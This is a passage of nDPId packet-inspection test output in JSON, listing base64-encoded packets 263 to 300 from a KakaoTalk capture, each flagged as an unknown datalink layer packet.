packet","thread_id":0,"packet_id":263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":947486,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABergSAbDFnfqmuw1SapdqIN+I8DTNS1HWpi9StW6S4CL7bPlGEyOlaqy5gxk8z7Z0wlcTKhA+z3pBqS0L+Dje\/uLUDF\/4iSm0H5Cj1kCSME09Ii6+LrjN2BA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":977973,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAQBHaQQoYUrwByQGuKBxaBgBNMxeAbDFqfqm6A1SapdrTJrEFTV9cRaqh6QAYJ5vOIZU19BL5J0Nc8bMyybZxoUFyZhYAzXYQegF5w6N9ybAy3dRq4Ancf28="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":11908,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/3JKAbE7kizpYWguGVRkht\/BW8md+KNXQjXCE3B0ZOGM+T7Ai\/nApkB1b8OBj19bHuAUjO7wvHdlU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":12183,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/PKyAbE7lizpcGguGVRnR6O8LTolEnLBD9lCff1BQeszQSXELFpkIt8LUYd0aA4fOFIcUcdzJLMAG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":27533,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHRH9CwHJAa4KGFK8WgQsOABbQRKAbDFofqmyg1SapdpVqcYhovjFyWf5I1qaLQelJw2itsfEveV844mdmJJhY+681O86vAxxWf5AgOXt58vxKsJQ6wyYiiWLl2kOztpyQ7AMVqwsrA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":77918,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZX4WAbDFrfqm9w1SapdrewpywSi\/9b6dwE16+O2tN5ZvF9C+I+PTdUaj5CG7Om9xwKTPPOAqc\/0rDg3jmqLQOswVUQ+vf0gHS+Y5\/qAsmOLV7NMY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":83564,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/EeOAbE7iizpQ2guGVRmInxdUIm41eonSNziEqTMFqaU8bI6sXVqT1cVdslDSO\/vqIYEsRMKTFmq8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":83716,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/IsaAbE7jizpUmguGVRkjZE1\/4VpBsUhvMoHcUSeVmcgpUAJJJflr93ZEMF60Xb6B2gqPlLIubg7d"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":87531,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHRH9IwHJAa4KGFK8WgQsOABD5PGAbDFpfqm2Q1SapdrSbb3jRrmndQyQMjy18xHK7ZEoBvj+ykU5xCdeJ9RrtBVTJNsGNB0ZJbyoDXnfWw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":107764,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/R0uAbE7mizpf2guGVRkEIDu\/bEjdYYfLkSQakILwWjv9B\/WclcTJOBA95onZvmD6atN0VCI9Ytk1"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":107886,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHRH9GQHJAa4KGFK8WgQsOABNLv2AbDFqfqm6A1SapdrTJrEFTV9cRaqh6QAYJ5vOIZU19BL5J0Nc8bMyybZxoUFyZhYAzXYQegF5w6N9ybAy3dRq4Ancf28="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":117835,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFUAAEAAQBHaTQoYUrwByQGuKBxaBgBBIM2AbDFsfqnBg1SapdrYZvWeERviRKdwNhYAVh1c8eyeQfpSgbDP60X30Y05sSyT\/ZvXP2nPG4EEBJs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":135504,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/4KyAbE7kizpYWguGVRkht\/BW8md+KNXQjXCE3B0ZOGM+T7Ai\/nApkB1b8OBj19bHuAUjO7wvHdlU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":147681,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/QMaAbE7lizpcGguGVRnR6O8LTolEnLBD9lCff1BQeszQSXELFpkIt8LUYd0aA4fOFIcUcdzJLMAG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":166876,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFcROAbDFtfqnFQ1SapdrTZj\/EWFS7Gl8kYJsK+jqqn2LZoZxv0JzZQIOIhmYJGX7H3XrPQ3ETa5x7li\/+8oQX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":209021,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZW2uAbDFrfqm9w1SapdrewpywSi\/9b6dwE16+O2tN5ZvF9C+I+PTdUaj5CG7Om9xwKTPPOAqc\/0rDg3jmqLQOswVUQ+vf0gHS+Y5\/qAsmOLV7NMY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":218177,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/CuuAbE7nizpjmguGVRl3nhrP4Ttx+wZoVrraZTm5WsmamxtRQu1p5osQkPW3JUUD9trwbMKXNrbi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":218360,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/0XGAbE7oizpnWguGVRkKUHvb5hEf9j0JjWSrMvzelEoQMIk0ugCuIAKbySowK\/RM2UrNosyxXYzP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":235449,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAGxH\/JwHJAa4KGFK8WgYoHAA\/S2WAbE7mizpf2guGVRkEIDu\/bEjdYYfLkSQakILwWjv9B\/WclcTJOBA95onZvmD6atN0VCI9Ytk1"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":257483,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/XcKAbDFufqnJA1SapdrMMHfMAevqrhrQEv+gORWj+haw4w5nlkR5DMAeLv0lmCUNtQvTd5KKX346"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":263465,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFUAAEAAHRH9JQHJAa4KGFK8WgQsOABBHLOAbDFsfqnBg1SapdrYZvWeERviRKdwNhYAVh1c8eyeQfpSgbDP60X30Y05sSyT\/ZvXP2nPG4EEBJs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":297522,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oVeAbDFvfqnMw1SapdqBWxtMeMXWHZp14tagwa+zb+6WRrXPArUjIzBca8V6CeZCNwOaOEuvxWoK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":299536,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFbPmAbDFtfqnFQ1SapdrTZj\/EWFS7Gl8kYJsK+jqqn2LZoZxv0JzZQIOIhmYJGX7H3XrPQ3ETa5x7li\/+8oQX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":307959,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Q5CAbE7pizprGguGVRn+Rn\/+Zmfpy6kruF76UQWiCaDqT2YnjUcZdPDKhZ6l3+JIL9YBiqX2AVun"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":308478,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/05iAbE7qizpu2guGVRkpHUCaqMX+nJjJwaTBjPeDUv2vG\/l6jJXmij4TJYJeNwhnyvGZU9s0uUjF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":337500,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/IqCAbDFwfqnQg1SapdoQs3Y5iVn5hovBOYM+tGYfZxhc\/PB+73mEKhLPQaHOsrtssSPQ411C9uuu"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":347449,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/DwWAbE7nizpjmguGVRl3nhrP4Ttx+wZoVrraZTm5WsmamxtRQu1p5osQkPW3JUUD9trwbMKXNrbi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":383490,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/1YuAbE7oizpnWguGVRkKUHvb5hEf9j0JjWSrMvzelEoQMIk0ugCuIAKbySowK\/RM2UrNosyxXYzP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":387427,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/WaiAbDFufqnJA1SapdrMMHfMAevqrhrQEv+gORWj+haw4w5nlkR5DMAeLv0lmCUNtQvTd5KKX346"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":407416,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/6R+AbE7rizpymguGVRnBoy5Nf9Oxk2c8DU8kbNgjqdXi0fE0ZDkgunUO9xEo+lixyG6vUU6DD6mp"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":428046,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/nT2AbDFvfqnMw1SapdqBWxtMeMXWHZp14tagwa+zb+6WRrXPArUjIzBca8V6CeZCNwOaOEuvxWoK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":435706,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/R6qAbE7pizprGguGVRn+Rn\/+Zmfpy6kruF76UQWiCaDqT2YnjUcZdPDKhZ6l3+JIL9YBiqX2AVun"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":444434,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/0QuAbDFxfqnUQ1SapdquaRL\/Ka+qdXNipt70iJ7llwPdZTZ8mtu+UgEfL5RqqC2lHtV1kqVMqbBZ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":447669,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/17KAbE7qizpu2guGVRkpHUCaqMX+nJjJwaTBjPeDUv2vG\/l6jJXmij4TJYJeNwhnyvGZU9s0uUjF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":484626,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/S7KAbDFyfqnYA1SapdqfByTNSoLQkZQkZMRyg2+gYHZiCQb5xL6qp+yXxsFJ1YdJ27+5npUlBX4n"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":514411,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/K3GAbE7sizp2WguGVRlYgYGbsxPYhQ+2gyiFESMLOzqmbgcx4XinMPKSvFnY3eyMarcjAIEkK4H7"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":514594,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/SwGAbE7tizp6GguGVRnSMqWffdYokOGLCjGrs\/LGUny6kv08kNw69cH5CWiCGA+UHFNkE+vYSb0H"} 